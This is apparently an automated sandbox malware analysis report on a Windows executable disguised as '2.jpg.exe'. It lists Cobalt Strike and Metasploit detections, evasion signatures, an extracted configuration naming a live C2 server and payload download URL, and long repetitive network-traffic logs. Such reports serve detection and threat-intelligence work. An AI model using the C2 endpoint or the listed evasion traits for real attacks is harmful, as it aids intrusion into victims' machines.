Windows Analysis Report
2.jpg.exe

Overview

General Information

Sample name: 2.jpg.exe
Analysis ID: 1428599
MD5: 93fb70bf6b2fc6da414d9e6a80ecda4f
SHA1: f04e6e242635c94df8e052a589a886a506095db1
SHA256: 2b5a8036263fe6e79d34e9b1a51a73e86cdc53a6d1037e07d9ecbe5a3de29126
Tags: exe
Infos:

Detection

CobaltStrike, Metasploit, ReflectiveLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (creates a PE file in dynamic memory)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected CobaltStrike
Yara detected Metasploit Payload
Yara detected Powershell download and execute
Yara detected ReflectiveLoader
.NET source code contains potential unpacker
C2 URLs / IPs found in malware configuration
Contains functionality to detect sleep reduction / modifications
Machine Learning detection for sample
Uses an obfuscated file name to hide its real file extension (double extension)
Uses known network protocols on non-standard ports
Yara detected Costura Assembly Loader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May check if the current machine is a sandbox (GetTickCount - Sleep)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Cobalt Strike, CobaltStrike Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.
  • APT 29
  • APT32
  • APT41
  • AQUATIC PANDA
  • Anunak
  • Cobalt
  • Codoso
  • CopyKittens
  • DarkHydrus
  • FIN6
  • FIN7
  • Leviathan
  • Mustang Panda
  • Shell Crew
  • Stone Panda
  • TianWu
  • UNC1878
  • UNC2452
  • Winnti Umbrella
 https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 2.jpg.exe Avira: detected
Found malware configuration
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: CobaltStrike {"C2Server": "http://8.218.236.5:None/j9sF", "User Agent": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC)\r\n"}
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Metasploit {"Headers": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC)\r\n", "Type": "Metasploit Download", "URL": "http://8.218.236.5/j9sF"}
Multi AV Scanner detection for submitted file
Source: 2.jpg.exe ReversingLabs: Detection: 18%
Source: 2.jpg.exe Virustotal: Detection: 20% Perma Link
Machine Learning detection for sample
Source: 2.jpg.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676C187 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 0_2_0676C187

Compliance
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\Desktop\2.jpg.exe Unpacked PE file: 0.2.2.jpg.exe.6760000.2.unpack
Uses 32bit PE files
Source: 2.jpg.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 2.jpg.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressedGsystem.diagnostics.diagnosticsourceucostura.system.diagnostics.diagnosticsource.dll.compressed@ source: 2.jpg.exe
Source: Binary string: rget_download0get_FTPURL1Task`1Resource1kernel32Win32Dictionary`2Int64<Module>LoadByDFSystem.IOCosturacostura.metadatamscorlibget_abcSystem.Collections.GenericCopyToAsyncGetAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedGetMethodCreateInstancesourceEnsureSuccessStatusCodeCompressionModeHttpResponseMessageExchangenullCacheInvokeIDisposableGetModuleHandleRuntimeTypeHandleGetTypeFromHandleDownloadFilehModuleget_NameprocNamelpModuleNamefullNameGetNamerequestedAssemblyNamenameDateTimeget_DeclaringTypeGetTypeget_Cultureset_CultureresourceCulturecultureMethodBaseDisposeCreateEditorBrowsableStateDeleteWriteCompilerGeneratedAttributeGuidAttributeGeneratedCodeAttributeDebuggerNonUserCodeAttributeDebuggableAttributeEditorBrowsableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeByteTryGetValuevalueadd_AssemblyResolveLoadByDF.exedwSizeSystem.ThreadingSystem.Runtime.VersioningFromBase64StringCultureToStringGetStringAttachlocalFilePathget_LengthEndsWithnullCacheLockTaskSystem.ComponentModelkernel32.dllfileUrlReadStreamLoadStreamGetManifestResourceStreamFileStreamDeflateStreamMemoryStreamstreamProgramset_ItemSystemresourceManMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.Reflectionset_PositionStringComparisonCopyToMethodInfoget_CultureInfoMemberInfoSystem.Net.HttpAssemblyLoadersenderget_ResourceManagerResolveEventHandlerSystem.CodeDom.CompilerEnterActivator.ctor.cctorMonitorSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesSystem.ResourcesReadFromEmbeddedResourcesLoadByDF.Resource1.resourcesDebuggingModesGetAssembliesresourceNamessymbolNamesassemblyNamesget_FlagsAssemblyNameFlagsResolveEventArgsargsget_TicksSystem.Threading.TasksEqualsGetProcAddresslpAddressConcatFormatObjectlpflOldProtectVirtualProtectflNewProtectWaitExitget_ResultToLowerInvariantHttpClientget_ContentHttpContentConvertReadAllTextget_NowLoadByDF_ProcessedByFodyContainsKeyget_AssemblyResolveAssemblyReadExistingAssemblyGetExecutingAssemblyIsNullOrEmpty#localfile_{0}.txt source: 2.jpg.exe
Source: Binary string: costura.costura.pdb.compressed source: 2.jpg.exe
Source: Binary string: C:\Users\miss\source\repos\ByDll\obj\Release\ByDll.pdb source: 2.jpg.exe, 00000000.00000002.4124836777.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4125783535.0000000005F20000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: costura.costura.pdb.compressed|||Costura.pdb|6F8FE76A0D5297A4FA7D4F7054093411D51F71B1|2636 source: 2.jpg.exe
Source: Binary string: C:\Users\miss\source\repos\LoadByDF\obj\x86\Release\LoadByDF.pdb source: 2.jpg.exe
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067647C9 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose, 0_2_067647C9
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067691F0 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose, 0_2_067691F0

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://8.218.236.5:None/j9sF
Source: Malware configuration extractor URLs: http://8.218.236.5/j9sF
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 8089
Source: unknown Network traffic detected: HTTP traffic on port 8089 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 8089
Source: unknown Network traffic detected: HTTP traffic on port 8089 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49745
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49836
Source: unknown Network traffic detected: HTTP traffic on port 49837 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49837
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49839
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49842
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 49845 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49845
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49849
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 49851 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49851
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49854
Source: unknown Network traffic detected: HTTP traffic on port 49855 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49855
Source: unknown Network traffic detected: HTTP traffic on port 49856 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49856
Source: unknown Network traffic detected: HTTP traffic on port 49857 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49857
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 49859 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49859
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 49862 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49862
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 49865 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49865
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49866
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49869
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 49871 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49871
Source: unknown Network traffic detected: HTTP traffic on port 49872 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49872
Source: unknown Network traffic detected: HTTP traffic on port 49873 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49873
Source: unknown Network traffic detected: HTTP traffic on port 49874 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49874
Source: unknown Network traffic detected: HTTP traffic on port 49875 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49875
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 49878 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49878
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49879
Source: unknown Network traffic detected: HTTP traffic on port 49880 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49880
Source: unknown Network traffic detected: HTTP traffic on port 49881 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49881
Source: unknown Network traffic detected: HTTP traffic on port 49882 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49882
Source: unknown Network traffic detected: HTTP traffic on port 49883 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49883
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 49885 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49885
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 49888 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49888
Source: unknown Network traffic detected: HTTP traffic on port 49889 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49889
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 49891 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 49892 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49892
Source: unknown Network traffic detected: HTTP traffic on port 49893 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49893
Source: unknown Network traffic detected: HTTP traffic on port 49894 -> 8062
